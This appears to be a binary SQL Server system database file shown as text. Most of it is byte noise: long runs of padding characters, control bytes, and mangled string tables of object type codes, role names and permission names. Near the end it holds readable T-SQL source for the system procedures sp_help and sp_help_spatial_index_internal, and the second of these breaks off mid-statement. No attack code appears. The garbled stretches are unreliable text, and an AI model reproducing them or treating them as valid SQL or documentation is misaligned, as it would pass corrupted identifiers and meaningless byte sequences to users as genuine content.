			`	5	],b){T-xU*tEyNuHQ(``*0F  KSYSREMOTELOGINS TYPESF  <SY0F  <SY/trusted0F_U]SYSREMOTELOGINS TYPES (UPDATE)F_UNSY0F_UNSY/trusted0G  KGENERAL MISC. STRINGS0G  <GESSQL Server Internal Table0I  7INDEX TYPES0I  (IN9nonclustered0I  *noKignore duplicate keys0I  <ig-unique0I  unKignore duplicate rows0I  <ig3clustered0I   $cl9hypothetical0I  @*hy5statistics0I  7primary key0I  5unique key0I  &st7auto create0I  (auEstats no recompute!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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MBLY<EODFS"AS1FUNCTION<EODIS"FU1FUNCTION0EODPS"FUAPARTITION SCHEME<EODUS2PA1SQL USER0EODCT"SQ1CONTRACT<EODDT"CO/TRIGGER<EODFT TR1FUNCTION0EODMT"FU9MESSAGE TYPE0EODRT*ME+ROUTE0EODSTRO5STATISTICS0EODAU&STGASYMMETRIC KEY USER0EODCU8ASACERTIFICATE USER0EODGU2CE5GROUP USER0EODSU&GR1SQL USER0EODWU"SQ9WINDOWS USER0EODSV*WI/SERVICE0EODIX SE+INDEX0EODLXIN+LOGIN0EODSXLOKXML SCHEMA COLLECTION0EODTY<XM)TYPE0EODXR3XREL TREE0EODAQ$XR7ADHOC QUERY0EODIT(AD=INTERNAL TABLE0EODPQ.INIPREPARED ADHOC QUERY0EODAP:PR9Undocumented0EODUS2PA)USER0EODDN>REWEVENT NOTIFICATION DATABASE0EODON"FUSEVENT NOTIFICATION OBJECT0EODFN6EVGFUNCTION SCALAR SQL0EODFS"ASSFUNCTION SCALAR ASSEMBLY 0EODIS"FUWFUNCTION SCALAR INLINE SQL 0EODFT TR_FUNCTION TABLE-VALUED ASSEMBLY 0EODDT"COATRIGGER DATABASE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!w,n=K 
	V	%6
Q">G	V		`I

	`M`1
5K	匃P0EOBCR2CE7CERTIFICATE0EOBPR6PA?BROKER PRIORITY0EOBSR(SE-SERVER0EOBTR TR/TRIGGER0EOBAS2AP1ASSEMBLY0EOBFS"FU1FUNCTION0EOBIS"FU1FUNCTION0EOBPS0BRAPARTITION SCHEME0EOBUS$SQ1SQL USER0EOBCT2CH1CONTRACT0EOBDT TR/TRIGGER0EOBFT"FU1FUNCTION0EOBMT@DA9MESSAGE TYPE0EOBRTRO+ROUTE0EOBST"SQ5STATISTICS0EOBAU:ASGASYMMETRIC KEY USER0EOBCU4CEACERTIFICATE USER0EOBGU"FU5GROUP USER0EOBSU"SQ1SQL USER0EOBWU,WI9WINDOWS USER0EOBSVSE/SERVICE0EOBIX&GR+INDEX0EOBLXIN+LOGIN0EOBSX*WIKXML SCHEMA COLLECTION0EOBTY TR)TYPE0EODA [o8W\9SERVER AUDIT0EODC AUDIACHECK CONSTRAINT0EODD 2CH/DEFAULT0EODF  DEMFOREIGN KEY CONSTRAINT0EODP >FOASTORED PROCEDURE0EODR 2ST)RULE<EODS RU+TABLE<EODT TA/TRIGGER0EODU  TR+TABLE0EODV TA)VIEW<EODX VIASTORED PROCEDURE0EODDA2STYDATABASE AUDIT SPECIFICATION0EODSAJDAUSERVER AUDIT SPECIFICATION<EODTAFSE/TRIGGER0EODDB TR1DATABASE0EODOB"DA-OBJECT0EODFCOBAFULLTEXT CATALOG<EODPC2FUASTORED PROCEDURE0EODSC2ST-SCHEMA0EODCDSC5CREDENTIAL<EODSD&CREEVENT NOTIFICATION0EODSE6EV;EVENT SESSION0EODAF,EV3AGGREGATE<EODIF$AG1FUNCTION0EODPF"FUEPARTITION FUNCTION<EODRF6PAASTORED PROCEDURE<EODTF2ST1FUNCTION0EODAG"FUEAVAILABILITY GROUP0EODRG6AVCRESOURCE GOVERNOR0EODSG4RE7SERVER ROLE0EODWG(SE;WINDOWS GROUP0EODAK,WI=ASYMMETRIC KEY0EODDK.ASODATABASE ENCRYPTION KEY0EODMK@DA5MASTER KEY0EODPK&MA7PRIMARY KEY0EODSK(PR;SYMMETRIC KEY0EODAL,SYIASYMMETRIC KEY LOGIN0EODCL:ASCCERTIFICATE LOGIN0EODFL4CECFULLTEXT STOPLIST0EODRL4FU)ROLE0EODSLRO3SQL LOGIN0EODWL$SQ;WINDOWS LOGIN0EODBN,WIMREMOTE SERVICE BINDING0EODSD&CRSEVENT NOTIFICATION SERVER0EODIF$AGaFUNCTION TABLE-VALUED INLINE SQL0EODTF2STSFUNCTION TABLE-VALUED SQL0EODPC2FUSSTORED PROCEDURE ASSEMBLY0EODRF6PAgSTORED PROCEDURE REPLICATION FILTER0EODX VISSTORED PROCEDURE EXTENDED0EODS RU9TABLE SYSTEM0EODTAFSEATRIGGER ASSEMBLY0EODT TA=TRIGGER SERVER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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:P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6SOP nocount6SRV$diskadmin6SRV8Disk Administrators!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J<. 








x
j
\
N
@
2
$


|n`RD6(rdVH:,








v
h
Z
L
>
0
"


									z	l	^	P	B	4	&		
	~pbTF8*tfXJ<. xj\N@2$|n`RD6(rdVH:,vhZL>0"zl^PB4&
~pbTxXF&|n`aRG"jP  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  	P  
P  P  P  
P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P   P  !P  "P  #P  $P  %P  &P  'P  (P  )P  *P  +P  ,P  -P  .P  /P  0P  1P  2P  3P  4P  5P  6P  7P  8P  9P  :P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  !!!!!!!!!!!!!!!!!!!!!!!!!!!!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j\N@2$|n`aX\\6@SRV<Server Administrators6@SRV(serveradminAP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  6A  (data access6D  &recoveringP  6SOP(arithignore6SRV&setupadminP  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6T  0Create FunctionP  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6T  SelectP  P  6T  InsertP  6T  DeleteP  6T  UpdateP  6T  *Create TableP  P  P  P  P  6T  0Create DatabaseP  6T  $Grant_WGOP  6T  GrantP  6T  DenyP  6T  (Create ViewP  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6T  2Create ProcedureP  P  6T   ExecuteP  P  P  P  6T  0Backup DatabaseP  P  P  P  P  6T  .Create DefaultP  P  6T  6Backup TransactionP  6T  (Create RuleP  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  6SRV:Setup Administrators!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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GIN6ALEOD:ASYMMETRIC KEY LOGIN6CLEOB4CERTIFICATE LOGIN6CLEOD4CERTIFICATE LOGIN6FLEOB4FULLTEXT STOPLIST6FLEOD4FULLTEXT STOPLIST6RLEOBROLE6RLEODROLE6SLEOB$SQL LOGIN6SLEOD$SQL LOGIN6WLEOB,WINDOWS LOGIN6WLEOD,WINDOWS LOGIN6BNEOB>REMOTE SERVICE BINDING6DNEOB6EVENT NOTIFICATION6ENEOB6EVENT NOTIFICATION6FNEOB"FUNCTION6ONEOB6EVENT NOTIFICATION6SNEOB SYNONYM6COEOB,SERVER CONFIG6SOEOB0SEQUENCE OBJECT6CPEOB>CRYPTOGRAPHIC PROVIDER6EPEOB"ENDPOINT6FPEOB:SEARCH PROPERTY LIST6SQEOBQUEUE6UQEOB4UNIQUE CONSTRAINT6AREOB2APPLICATION ROLE6CREOB(CERTIFICATE6PREOB0BROKER PRIORITY6SREOBSERVER6TREOB TRIGGER6ASEOB"ASSEMBLY6FSEOB"FUNCTION6ISEOB"FUNCTION6PSEOB2PARTITION SCHEME6USEOB"SQL USER6CTEOB"CONTRACT6DTEOB TRIGGER6FTEOB"FUNCTION6MTEOB*MESSAGE TYPE6RTEOBROUTE6STEOB&STATISTICS6AUEOB8ASYMMETRIC KEY USER6CUEOB2CERTIFICATE USER6GUEOB&GROUP USER6SUEOB"SQL USER6WUEOB*WINDOWS USER6SVEOB SERVICE6IXEOBINDEX6LXEOBLOGIN6SXEOB<XML SCHEMA COLLECTION6TYEOBTYPE6D  .emergency mode6D2 @concat null yields null6D2 6recursive triggers6D  ,missing files6D2 @default to local cursor6@D  &autoshrink6@D  :ALL SETTABLE OPTIONS6D2 4quoted identifier6I  (auto create6D2 >auto create statistics6I  6stats no recompute6D2 >cursor close on commit6D2 &ANSI nulls6D2 ,ANSI warnings6 D2 4full text enabled6@D  2cleanly shutdown6@D2 >auto update statistics6|WD2 :ALL SETTABLE OPTIONS6BNEOD>REMOTE SERVICE BINDING:DNEOD6EVENT NOTIFICATION6ENEOD6EVENT NOTIFICATION:FNEOD"FUNCTION:ONEOD6EVENT NOTIFICATION6SNEOD SYNONYM6COEOD,SERVER CONFIG6SOEOD0SEQUENCE OBJECT6CPEOD>CRYPTOGRAPHIC PROVIDER6EPEOD"ENDPOINT6FPEOD:SEARCH PROPERTY LIST6SQEODQUEUE6UQEOD4UNIQUE CONSTRAINT6AREOD2APPLICATION ROLE6CREOD(CERTIFICATE6PREOD0BROKER PRIORITY6SREODSERVER6TREOD TRIGGER6ASEOD"ASSEMBLY:FSEOD"FUNCTION:ISEOD"FUNCTION6PSEOD2PARTITION SCHEME:USEOD"SQL USER6CTEOD"CONTRACT:DTEOD TRIGGER:FTEOD"FUNCTION6MTEOD*MESSAGE TYPE6RTEODROUTE6STEOD&STATISTICS6AUEOD8ASYMMETRIC KEY USER6CUEOD2CERTIFICATE USER6GUEOD&GROUP USER6SUEOD"SQL USER6WUEOD*WINDOWS USER6SVEOD SERVICE6IXEODINDEX6LXEODLOGIN6SXEOD<XML SCHEMA COLLECTION6TYEODTYPE6XREOD$XREL TREE6AQEOD(ADHOC QUERY6ITEOD.INTERNAL TABLE6PQEOD:PREPARED ADHOC QUERY6APEOD*Undocumented6USEODUSER6DNEODHEVENT NOTIFICATION DATABASE6ONEODDEVENT NOTIFICATION OBJECT6FNEOD8FUNCTION SCALAR SQL6FSEODDFUNCTION SCALAR ASSEMBLY 6ISEODHFUNCTION SCALAR INLINE SQL 6FTEODPFUNCTION TABLE-VALUED ASSEMBLY 6DTEOD2TRIGGER DATABASE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!FvP

v
B

v@n|R`6D$


r
:H
"

		\	jx	HV	$		rBP(>^l<JxLZH*8b6RvJBzN&`<(4dTvacreate procedure sys.sp_help
	@objname nvarchar(776) = NULL		-- object name we're after
as
	-- PRELIMINARY
	set nocount on
	declare	@dbname	sysname
		,@no varchar(35), @yes varchar(35), @none varchar(35)
	select @no = 'no', @yes = 'yes', @none = 'none'

	-- If no @objname given, give a little info about all objects.
	if @objname is null
	begin
		-- DISPLAY ALL SYSOBJECTS --
		if (serverproperty('EngineEdition') != 5)
		begin
		        select
		            'Name'          = o.name,
		            'Owner'         = user_name(ObjectProperty( object_id, 'ownerid')),
		            'Object_type'   = substring(v.name,5,31)
		        from sys.all_objects o, master.dbo.spt_values v
		        where o.type = substring(v.name,1,2) collate catalog_default and v.type = 'O9T'
		        order by [Owner] asc, Object_type desc, Name asc
		end
		else 
		begin
			select
		            'Name'          = o.name,
		            'Owner'         = user_name(ObjectProperty( object_id, 'ownerid')),
		            'Object_type'   = substring(v.name,5,31)
		        from sys.all_objects o, sys.spt_values v
		        where o.type = substring(v.name,1,2) collate catalog_default and v.type = 'O9T'
		        order by [Owner] asc, Object_type desc, Name asc
		end

		print ' '

		-- DISPLAY ALL USER TYPES
		select
			'User_type'	= name,
			'Storage_type'	= type_name(system_type_id),
			'Length'		= max_length,
			'Prec'		= Convert(int,TypePropertyEx(user_type_id, 'precision')),
			'Scale'		= Convert(int,TypePropertyEx(user_type_id, 'scale')),
			'Nullable'		= case when is_nullable = 1 then @yes else @no end,
			'Default_name'	= isnull(object_name(default_object_id), @none),
			'Rule_name'		= isnull(object_name(rule_object_id), @none),
			'Collation'		= collation_name
		from sys.types
		where user_type_id > 256
		order by name

		return(0)
	end

	-- Make sure the @objname is local to the current database.
	select @dbname = parsename(@objname,3)
	if @dbname is null
		select @dbname = db_name()
	else if @dbname <> db_name()
		begin
			raiserror(15250,-1,-1)
			return(1)
		end

	-- @objname must be either sysobjects or systypes: first look in sysobjects
	declare @objid int
	declare @sysobj_type char(2)
	select @objid = object_id, @sysobj_type = type from sys.all_objects where object_id = object_id(@objname)

	-- IF NOT IN SYSOBJECTS, TRY SYSTYPES --
	if @objid is null
	begin
		-- UNDONE: SHOULD CHECK FOR AND DISALLOW MULTI-PART NAME
		select @objid = type_id(@objname)

		-- IF NOT IN SYSTYPES, GIVE UP
		if @objid is null
		begin
			raiserror(15009,-1,-1,@objname,@dbname)
			return(1)
		end

		-- DATA TYPE HELP (prec/scale only valid for numerics)
		select
			'Type_name'	= name,
			'Storage_type'	= type_name(system_type_id),
			'Length'		= max_length,
			'Prec'			= Convert(int,TypePropertyEx(user_type_id, 'precision')),
			'Scale'			= Convert(int,TypePropertyEx(user_type_id, 'scale')),
			'Nullable'			= case when is_nullable=1 then @yes else @no end,
			'Default_name'	= isnull(object_name(default_object_id), @none),
			'Rule_name'		= isnull(object_name(rule_object_id), @none),
			'Collation'		= collation_name
		from sys.types
		where user_type_id = @objid

		return(0)
	end

	-- FOUND IT IN SYSOBJECT, SO GIVE OBJECT INFO
	if (serverproperty('EngineEdition') != 5)
	begin
		select
			'Name'				= o.name,
			'Owner'				= user_name(ObjectProperty( object_id, 'ownerid')),
	        'Type'              = substring(v.name,5,31),
			'Created_datetime'	= o.create_date
		from sys.all_objects o, master.dbo.spt_values v
		where o.object_id = @objid and o.type = substring(v.name,1,2) collate catalog_default and v.type = 'O9T'
	end
	else 
	begin
		select
			'Name'				= o.name,
			'Owner'				= user_name(ObjectProperty( object_id, 'ownerid')),
	        'Type'              = substring(v.name,5,31),
			'Created_datetime'	= o.create_date
		from sys.all_objects o, sys.spt_values v
		where o.object_id = @objid and o.type = substring(v.name,1,2) collate catalog_default and v.type = 'O9T'
	end

	print ' '

	-- DISPLAY COLUMN IF TABLE / VIEW
	if exists (select * from sys.all_columns where object_id = @objid)
	begin

		-- SET UP NUMERIC TYPES: THESE WILL HAVE NON-BLANK PREC/SCALE
		-- There must be a ',' immediately after each type name (including last one),
		-- because that's what we'll search for in charindex later.
		declare @precscaletypes nvarchar(150)
		select @precscaletypes = N'tinyint,smallint,decimal,int,bigint,real,money,float,numeric,smallmoney,date,time,datetime2,datetimeoffset,'

		-- INFO FOR EACH COLUMN
		print ' '
		select
			'Column_name'			= name,
			'Type'					= type_name(user_type_id),
			'Computed'				= case when ColumnProperty(object_id, name, 'IsComputed') = 0 then @no else @yes end,
			'Length'					= convert(int, max_length),
			-- for prec/scale, only show for those types that have valid precision/scale
			-- Search for type name + ',', because 'datetime' is actually a substring of 'datetime2' and 'datetimeoffset'
			'Prec'					= case when charindex(type_name(system_type_id) + ',', @precscaletypes) > 0
										then convert(char(5),ColumnProperty(object_id, name, 'precision'))
										else '     ' end,
			'Scale'					= case when charindex(type_name(system_type_id) + ',', @precscaletypes) > 0
										then convert(char(5),OdbcScale(system_type_id,scale))
										else '     ' end,
			'Nullable'				= case when is_nullable = 0 then @no else @yes end,
			'TrimTrailingBlanks'	= case ColumnProperty(object_id, name, 'UsesAnsiTrim')
										when 1 then @no
										when 0 then @yes
										else '(n/a)' end,
			'FixedLenNullInSource'	= case
						when type_name(system_type_id) not in ('varbinary','varchar','binary','char')
							then '(n/a)'
						when is_nullable = 0 then @no else @yes end,
			'Collation'		= collation_name
		from sys.all_columns where object_id = @objid

		-- IDENTITY COLUMN?
		if @sysobj_type in ('S ','U ','V ','TF')
		begin
			print ' '
			declare @colname sysname
			select @colname = col_name(@objid, column_id) from sys.identity_columns where object_id = @objid
			select
				'Identity'				= isnull(@colname,'No identity column defined.'),
				'Seed'				= ident_seed(@objname),
				'Increment'			= ident_incr(@objname),
				'Not For Replication'	= ColumnProperty(@objid, @colname, 'IsIDNotForRepl')
			-- ROWGUIDCOL?
			print ' '
			select @colname = null
			select @colname = name from sys.columns where object_id = @objid and is_rowguidcol = 1
			select 'RowGuidCol' = isnull(@colname,'No rowguidcol column defined.')
		end
	end

	-- DISPLAY ANY PARAMS
	if exists (select * from sys.all_parameters where object_id = @objid)
	begin
		-- INFO ON PROC PARAMS
		print ' '
		select
			'Parameter_name'	= name,
			'Type'			= type_name(user_type_id),
			'Length'			= max_length,
			'Prec'			= case when type_name(system_type_id) = 'uniqueidentifier' then precision
								else OdbcPrec(system_type_id, max_length, precision) end,
			'Scale'			= OdbcScale(system_type_id, scale),
			'Param_order'		= parameter_id,
			'Collation'			= convert(sysname, case when system_type_id in (35, 99, 167, 175, 231, 239)
						then ServerProperty('collation') end)

		from sys.all_parameters where object_id = @objid
	end

	-- DISPLAY TABLE INDEXES & CONSTRAINTS
	if @sysobj_type in ('S ','U ')
	begin
		print ' '
		EXEC sys.sp_objectfilegroup @objid
		print ' '
		EXEC sys.sp_helpindex @objname
		print ' '
		EXEC sys.sp_helpconstraint @objname,'nomsg'
		if (select count(*) from sysdepends where depid = @objid and deptype = 1) = 0
		begin
			raiserror(15647,-1,-1,@objname) -- No views with schemabinding reference table '%ls'.
		end
		else
		begin
            select distinct 'Table is referenced by views' = obj.name from sys.objects obj, sysdepends deps
				where obj.type ='V' and obj.object_id = deps.id and deps.depid = @objid
					and deps.dept!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($Qv'CREATE PROC sys.sp_help_spatial_index_internal
(
	@minx				FLOAT,		-- bounding box minx
	@miny				FLOAT,		-- bounding box miny
	@maxx				FLOAT,		-- bounding box maxx
	@maxy				FLOAT,		-- bounding box maxy
	@gridsize1			INT,		-- level 1 size (16 LOW, 64 MEDIUM, 256 HIGH)
	@gridsize2			INT,		-- level 2 size
	@gridsize3			INT,		-- level 3 size
	@gridsize4			INT,		-- level 4 size
	@cells_per_object	INT,		-- cells per object
	@base_table_rows	BIGINT,		-- number of rows in the base TABLE
	@index_total_pages	BIGINT,		-- optional (number pages in the INDEX)
	@results_card		BIGINT,		-- number of rows selectd
	@internaltabname	SYSNAME,	-- internal TABLE name for the persisted INDEX
	@do_output_xml		TINYINT,	-- OUTPUT report in XML form rather than AS a rowset
	@xml_output		XML OUTPUT,		-- OUTPUT report in XML form rather than AS a rowset
	@verboseoutput		TINYINT		-- OUTPUT all properties
)
AS
BEGIN
	SET NOCOUNT ON
	SET ARITHIGNORE ON
	SET ARITHABORT OFF
	SET ANSI_WARNINGS OFF

	DECLARE @index_total_rows BIGINT,
			@execstr NVARCHAR(2000),
			@param_def NVARCHAR(200);

	-- use a tablevar to maintain tesults. the results are property name value pairs
	-- WITH additional description. currently use FLOAT AS the type of the property, may be
	-- this needs to be a sqlvariant.
	DECLARE @results TABLE (propname NVARCHAR(256), propvalue sql_variant, verbose INT)

	-- size OFF grid for each level along WITH level and size
	DECLARE @gridsizes TABLE (level INT, size INT, leafgrid_normalizer INT)

	INSERT INTO @gridsizes values (1, @gridsize1, @gridsize4*@gridsize3*@gridsize2)
	INSERT INTO @gridsizes values (2, @gridsize2, @gridsize4*@gridsize3)
	INSERT INTO @gridsizes values (3, @gridsize3, @gridsize4)
	INSERT INTO @gridsizes values (4, @gridsize4, 1)

	-- the query groups the rows by depth of the grid which is the last byte of the cell encoding.
	CREATE TABLE #temp_spatial_index_stats(tag NVARCHAR(50), srid INT, level SMALLINT, cell_attributes SMALLINT, total BIGINT);

	IF (@internaltabname is not null)
	BEGIN
		SET @execstr = N'SELECT ''_In_Index'' AS tag, srid, SUBSTRING(cell_id, 5, 1) AS ''level'', cell_attributes, count(*) AS ''total'' 
			FROM ' + @internaltabname +
			' group by srid, SUBSTRING(cell_id, 5, 1), cell_attributes' +
			' OPTION (RECOMPILE)';
		-- The recompile hint is needed because of a subtle bug related to caching and reusing plans for queries that directly reference internal table of a spatial index.
		-- For details see VSTS 854910 and the related changelist.

		INSERT INTO #temp_spatial_index_stats execute (@execstr) ;
	END
	
	SET @execstr = N'SELECT ''_For_QuerySample'' AS tag, srid, SUBSTRING(cell_id, 5, 1) AS ''level'', cell_attributes, count(*) AS ''total'' '+
		N' FROM #temp_window_object_tessellation f ' +
		N' group by srid, SUBSTRING(cell_id, 5, 1), cell_attributes';
	INSERT INTO #temp_spatial_index_stats EXEC (@execstr);

	CREATE TABLE #temp_window_object_tessellation_candidates(cell_id BINARY(5), cell_id_end BINARY(5), cell_attributes INT, srid INT);
	CREATE INDEX temp_window_object_tessellation_candidates_index ON
		#temp_window_object_tessellation_candidates(cell_id, cell_id_end);

	-- enumerate self and ancestors
	WITH AncestorCells(depth, cell_id, cell_id_end, cell_attr, srid)
	AS
	(
		-- this part enumerates the self
		SELECT CONVERT(INT, SUBSTRING(cell_id, 5, 1)) AS depth, cell_id, cell_id, cell_attributes, srid
		FROM #temp_window_object_tessellation
		UNION ALL
		-- this part enumerates the ancestors, note the cell attribute mapping
		SELECT depth-1 AS depth, 
			CONVERT(BINARY(5), (SUBSTRING(cell_id, 1, (depth-1)) + SUBSTRING(0x0000000000, depth, 5-depth) + CONVERT(BINARY(1), depth-1))), 
			CONVERT(BINARY(5), (SUBSTRING(cell_id, 1, (depth-1)) + SUBSTRING(0x0000000000, depth, 5-depth) + CONVERT(BINARY(1), depth-1))), 
			CASE WHEN cell_attr = 2 THEN 1 ELSE 0 END, 
			srid
		FROM AncestorCells
		WHERE depth >= 2
	)
	INSERT INTO #temp_window_object_tessellation_candidates
	SELECT cell_id, cell_id_end, cell_attr, srid
	FROM AncestorCells
	OPTION (MAXRECURSION 4);

	-- enumerate descendant prefix
	WITH DescendantCells(depth, cell_id_start, cell_id_end, cell_attr, srid)
	AS
	(
		SELECT CONVERT(INT, SUBSTRING(cell_id, 5, 1)) AS depth, 
		CONVERT(BINARY(4),
			(
			SUBSTRING(cell_id, 1, CONVERT(INT, SUBSTRING(cell_id, 5, 1)))+
			CONVERT( varbinary(3), replicate(0x00, 4 - CONVERT(INT, SUBSTRING(cell_id, 5, 1))))
			))
			+
			SUBSTRING(cell_id, 5, 1),
		CONVERT(BINARY(4),
			(
			SUBSTRING(cell_id, 1, CONVERT(INT, SUBSTRING(cell_id, 5, 1)))+
			CONVERT( varbinary(3), replicate(0xFF, 4 - CONVERT(INT, SUBSTRING(cell_id, 5, 1))))
			))
			+
